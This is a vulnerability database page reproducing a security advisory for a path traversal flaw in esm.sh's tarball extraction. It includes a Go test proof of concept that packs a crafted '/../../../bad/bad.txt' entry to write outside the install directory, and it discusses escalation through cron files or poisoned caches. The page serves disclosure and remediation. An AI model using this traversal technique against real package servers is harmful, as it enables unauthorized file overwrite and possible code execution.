GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2657-3C98-63JQ

Vulnerability from github – Published: 2026-01-20 17:21 – Updated: 2026-02-27 22:06
VLAI
Summary
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
Details

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
    // Create a temporary directory for testing
    installDir := "./testdata/good"

    // Create a malicious tarball with path traversal
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // Add a normal file
    content := []byte("export const foo = 'bar';")
    header := &tar.Header{
        Name:     "package/index.js",
        Mode:     0644,
        Size:     int64(len(content)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(content); err != nil {
        t.Fatal(err)
    }

    // Add a malicious file with path traversal
    bad := []byte("bad")
    header = &tar.Header{
        Name:     "/../../../bad/bad.txt",
        Mode:     0644,
        Size:     int64(len(bad)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(bad); err != nil {
        t.Fatal(err)
    }

    tw.Close()
    gw.Close()

    // Call extractPackageTarball with the malicious tarball
    if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
        t.Errorf("extractPackageTarball returned error: %v", err)
    }
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

  • extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
  • Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
  • The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using os.Root seems like it will solve this issue and doesn't require new dependencies.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "last_affected": "136"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260116051925-c62ab83c589e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:21:49Z",
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(\u0026buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = \u0027bar\u0027;\")\n\theader := \u0026tar.Header{\n\t\tName:     \"package/index.js\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = \u0026tar.Header{\n\t\tName:     \"/../../../bad/bad.txt\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin`  (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it\u0027s home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn\u0027t require new dependencies.",
  "id": "GHSA-2657-3c98-63jq",
  "modified": "2026-02-27T22:06:18Z",
  "published": "2026-01-20T17:21:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-4138"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4332"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…